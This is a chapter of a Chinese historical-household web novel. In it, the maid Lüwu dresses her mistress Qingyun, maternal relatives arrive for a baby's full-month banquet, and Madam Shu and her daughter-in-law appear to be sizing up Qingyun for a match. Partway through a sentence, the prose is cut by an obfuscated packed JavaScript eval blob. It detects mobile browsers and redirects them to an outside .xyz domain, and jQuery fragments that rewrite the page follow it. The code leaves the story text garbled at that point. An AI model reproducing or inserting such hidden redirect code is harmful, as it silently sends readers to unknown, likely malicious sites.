天色尚未明亮,寒噤噤的春风滚滚而来,万籁俱寂。
“姑娘快披上,外头刮着风,怪冷哩。”绿芜随后紧闭屋门,点了几盏烛火过来。
清云接过绿芜臂弯正挂着的熏好的狐裘,“你怎把它拿出来了,倒跟过冬似的了。”她展开裘衣,将领前系好,整个人如同置在暖炉里一般。
绿芜走到镜台前放下一盏烛火,闻言下意识猛吸了一口气,“今年怪得很,没来倒春寒,倒比去年这时节还冷,姑娘饿不饿?要不我再去小厨房拿点儿零嘴,吃完了再梳妆。”
清云摇了摇头,“先梳妆罢,等小红醒了,让她煮碗云英面来。”绿芜道:“听姑娘的。”
“欸,沉香呢?”
绿芜笑道:“姑娘快莫提了,昨儿晚时让她去熏衣,正巧小红事完也回去歇息,两人便凑了一块儿玩双陆,一时忘了时辰,让她多睡会儿罢,等姑娘这头完了,我去叫她过来。”
“双陆?”清云忆道:“自秋水同倪妈妈去了田庄,再也没碰了,今儿等外祖母他们来了,咱凑几桌消遣消遣。”
绿芜下意识攥紧了顺袋,连连摆手道:“姑娘还是让沉香去罢,我是瞧不懂那玩意儿的……沉香还会看诗,和他们有话说,我服侍好姑娘就是。”
清云扭身将玉梳递给她,笑道:“从前让你们跟着我学写字,个个儿是不肯的,只沉香后来缠着我教她,你们又是不吱声的,如今你可想通了?”
绿芜接过玉梳,探身往镜台上打开的银盒里抹了指盖大小的桂花油,她盯着桂花油任凭它滴在清云的头发上,“小的时候,家里人总说我脑子不灵光,又说像我这样出身的姑娘读书无用,到了年岁也高攀不上多好的门第,我不依,买了字帖偷学了几个字,家里人知道后,将那些字帖全烧了,说要教我手艺,日后进了门,还有一双补贴家用的手可用,虽如今……”沉默了半晌,绿芜突然笑道:“罢了罢了,还提什么呢?沉香不比我,她年岁小,记得住,我这记性怕不大好使了。”
绿芜的话犹如银针猛然扎进清云心里,她忽地想起初见绿芜时……顿然失语,半晌后,应道:“古话都说,能者无所不能,你进府前,咱院里是位大内来的老嬷嬷梳头,她的手艺与你相比,竟逊色不少,你的手艺一直是咱家顶好的,故而我也不愿其他人做这些事。”说着,她抬手摩挲着绿芜才挑好的料石水仙花簪,不觉笑出声甚是满意,“好看。”
绿芜点了点头,双腮透着些许红,“姑娘喜欢便好。”
妆毕时,已是时至辰正。
绿芜先是回了抱厦去叫小红,让她赶着去做面,又到隔壁沉香住的屋子叫人。
提着嗓子喊了几声不见回应,绿芜便自顾开了门,沉香此时正忙着收拾东西,一扭身吓了一跳,整个人险些往后倒下去。
“叫你怎不出声呢?”绿芜盯着沉香手里正攥着的东西,一双狐疑的神色打量着她,“那是什么?”
见绿芜走过来,沉香面色泛红,慌慌张张将手里的东西塞进枕下,讪笑道:“才从姑娘那儿拿的诗集,正看着呢,姐姐吓我一跳。”
绿芜斜了她一眼,蹙眉道:“你倒看得出神,叫你名字也不吭声,以为出什么事,你吓我一跳才是。”
绿芜扫了屋内一番,随后出了门,“快拾掇拾掇,今儿主母母家亲戚上京来了,要来住上几日,咱跟着姑娘先去东院问安,日后总有碰面的时候。”
“都来了?”
“珠姐儿满月宴,自然该来的都来了呀。”
沉香点头道:“我换身衣裳就来。”
起初,崔氏打算母家到后,往东院处设接风宴,却因两家见面寒暄迟迟不完,已过了午时,崔氏只得命厨房将席面延至晚间,又吩咐摆了几桌甜食果子来,一家子吃茶闲叙,也算其乐融融。
崔氏是南州人,出阁年岁不过及笄后一两年,自入京后,因年月距长,两州来往海路迢迢,故而凡遇过节,她与母家也甚少见面,已然忘了上次相见是何时,不知是不是应了句古话——嫁出女,卖出田。
自打清云记事起,母亲提及自家姊妹的次数寥寥,姊妹间自然鲜少书信往来,今儿来的亲戚,莫说清云,即便是崔氏,相见寒暄时,也有了几分隔阂之意,心绪如藕,绵绵不断冒出来的藕丝,即便将每个人相连,最后也只得纷纷扯出一抹笑来,颇有故作逢迎之态。
崔家人丁稀少,长房与江老太太同辈的,如今只剩一位老太爷,身子却已经不起折腾,便让自己膝下唯一的女儿携礼上京,女婿早年跟自家和离,留下的两个孙辈也跟着来了。崔氏生在二房,二房一子二女,她家中从二,崔老太太同大哥家到的齐全,只胞妹因远嫁邢州,原说要同婆家人前来庆贺,奈何婆母和女儿在路上染了风寒,咳疾一直不见好,最后单和官人前来祝贺。
月有阴晴圆缺,人亦如此,倒也难得一场团圆,热热闹闹几日后家中也变作往日一般,清云原想着让母亲在自家后院空了一处地,邀姊妹们起个诗社,无奈临近满月宴,崔氏要理事,清云随同,实是抽不开身,才前儿崔氏同何氏商量,因记着二房空有一处院子,便命人打理了,让崔家一行人住下,单崔老太太仍留在东院,又一面赶着让人往东院去砌了几堵墙,搭了几间抱厦出来,至宴结束前,东院忙事的人便搬出来在此处休憩,夜间来往也不会惊扰了两位老太太。
这日方早,清云往东院问安,又同两位祖母用了早饭后,赶着往西院主院来。
一抹绿色倩影浮于眼前,崔氏见之大喜,忙放下手中账本,一面招手,“你祖母那头完了?”
“嗯,吃了饭就过来了,母亲让人去催,可是有什么要紧事?”
“确有要事。”崔氏拉过清云的手起身,面上浮着一抹笑,“你先随我去珠姐儿那儿。”
清云心下一紧,又见母亲神色春风,问道:“妹妹怎么了?”
崔氏略低了低头,反复摩挲着清云袖口上绣着的花样,笑道:“我着急叫你回来,倒把你唬了一跳,是去年卫国公府中秋设宴,平津伯府也去了的,你可还记得?”
清云思忖半晌,似有些印象,崔氏一旁有意点道:“他们家,舒大娘子,你见过的呀。”清云顿然想起,去年中秋宴上,便是这位娘子一直拉着自己不肯松手。
“想起来了。”崔氏闻言点头,“今儿想是吹的什么风,把她给吹来了,早些时给她家下帖赴宴,才昨儿送了回帖,今儿来了,说是先来瞧瞧珠姐儿,这会子正在那儿吃茶,你随我去罢。”
清云还未明白其意,便被母亲拉着出了正厅,开着的迎春从木窗穿过,坠满了这一面青灰石墙,二人行至尾处,从月洞门而进便是珠姐儿睡着的屋子,笑语声此起彼伏。
“你们可算来了!”正有人捏着一腔细嗓高声道。
清云定眼一瞧,见舅母正立在门口,忙上前挽过臂弯,笑道:“舅母也来啦。“崔舅母未语,一同跟着进来,屋里正坐着客,崔氏同妇人笑道:“原是老太太们那儿传了饭,吃完了才过来,娘子久等了吧。”
说话时,崔氏直勾勾盯着对面正坐的妇人,妇人闻言,便起身走近了些,上下打量了清云一番,面上仍未散去笑意,不住点头,道:“又变标致了些。”
崔氏转视妇人身后的娘子,应道:“你竟瞒着我了,也该时常带着你大儿媳过来的,云姐儿,来,见过舒大娘子,还有这位,你们该是第一次见,应叫她祁大娘子才是。”说着,便拉了清云过来。
清云面着妇人,细嗓道:“舒大娘子安。”又侧过身,见祁氏穿着一身蟾绿色绸绣花鸟纹对襟长褙,容貌清秀,身形窈窕,正攥帕拂在身前,盯着自己,清云又恭身道:“祁大娘子安。”
祁氏面袒笑意,一张标致的鹅蛋脸上,唯那一双杏眼闪动时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090744|163648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如同春日开不尽的花儿,痴痴着盼人去看,她探身还礼,髻上一支金錾连环花珠饰盈盈作响,“妹妹有礼,同安。”
舒氏双颊堆笑,扫了眼周围的人,又忍不住道:“啧啧……这回见,瞧着又像了许多。”
“娘子说的是。”崔舅母闻言迎了过来,应道:“我方才正纳闷呢,我这外甥女眉间像我那妹夫,这嘴嘛,像小姑子,只是这眼睛……欸,娘子,你瞧瞧,和你家儿媳可不是像?”崔舅母对着舒氏笑,又暗暗地将清云推了推,并祁氏站在一块儿,皆一副烟视媚行之态,如此身形和一双杏眼,实为神似,舒氏顿然心感亲切,一面拉了清云的手,一面攥紧祁氏的手,故作大悟,称应道:“呵呵……你是个眼尖的,我说是哪儿见过,她们确是长的相像。”
崔氏在一旁道:“你是糊涂了,去年中秋可不是见了,你倒忘了?”
舒氏又道:“是,瞧着比去年长高了些,模样也更秀气了。”崔氏听后眼底掠过几丝傲意,祁氏道:“有道是青色直眉,美目媔只,妹妹可是多有福气的人。”一语未了,众人笑出声来。
舒氏向清云道:”她年青,说话是个浑头的。“又向祁氏道:”快别打趣你妹妹了。“舒氏同儿媳对望了眼,二人心照不宣,心里甚是满意,方坐了回去,舒氏呷了口茶后道:“难得见你家姑娘们一次,你那些侄女们,我也没见着,想是大娘子拿我当外人了。”
崔氏回道:“都在我二弟妹那儿呢,我那弟妹也喜欢得紧,只怕不肯放人过来。”舒氏听后,意味深长一笑,盯着清云,意有所指,“你弟妹家那位女儿,去年中秋,也只略看了几眼,还有舅娘子家的,想是都一样标致,古话说乱花渐欲迷人眼,我倒觉得近在眼前的才是最好的不是?我这大儿媳,你过来,”舒氏反复摩挲着祁氏的手,眉眼间笑意仍未散去,“她倒是个急性子,日日在我耳边唠叨,才回了帖,便巴巴念着今儿先过来贺一贺,只好让她来见见这同辈的妹妹,想是有体己话想说?日后你们也要多走动的不是?”说着,她又起身走了过来,一手圈住清云的臂弯,两位佳人拥入怀中,笑得如同枝丫上的噪鹃。
崔氏闻言,先是看了眼崔舅母,崔舅母心下会意,遂言:“她们都比我这侄女小些,到底稚嫩,都没经过事,满月宴上再见也不迟。”崔氏接话道:“云姐儿,你虽擅诗词,却不知这位祁大娘子的针黹是京中一绝,你是相比不了的,如今好了,日后你们也要多亲近亲近多说说话。”
不等清云回话,崔氏又道:“只怕要扰了大娘子了。”
舒氏终于按耐不住眼底欣喜,心知不枉今儿携礼拜府,定达目的,忙朝崔氏表意,“这又有什么扰不扰的,可针黹活做得再好,只有最适合的才是一绝呐!”
一方唱罢一方又起。
因上回何氏应下了崔氏所托,故而崔家子女如今住在自家院里,虽与自家干系不深,到底与婆母姻亲之情,众人在一处,待他们与自家子女无半分差别。
清云不得闲,何氏便做主,让文逸在自家院里搭个诗社,可文逸自金明池放榜后,总有诗友下帖外出一聚,如此只留清月,清月又一向对诗词无意,自家无人做东,便一日一日耽误下来。
院里闷了几日后,何氏心想着,原府里也有崔氏早些年从外头买进来的戏班子一直住着,只珠姐儿满月宴,戏班子也忙着无空过来,便让戚妈妈从外头请了几个会唱戏的,又大张旗鼓往院里搭了个台子,请大伙儿坐一块儿看戏,如此,既和气,自己也趁了便歇在里屋忙事。
才说戚妈妈因上回之事,近日频繁外出,四处打听,早出晚归,终于有了结果。
“呯!”
“当真?你没听错?”何氏放下茶盏,淌了许多茶叶出来。
戚妈妈面不改色,声音仍旧低沉,“听得真真儿的,我才从茶肆回来,那些茶客平日无事,惯是些嘴巴漏风的。”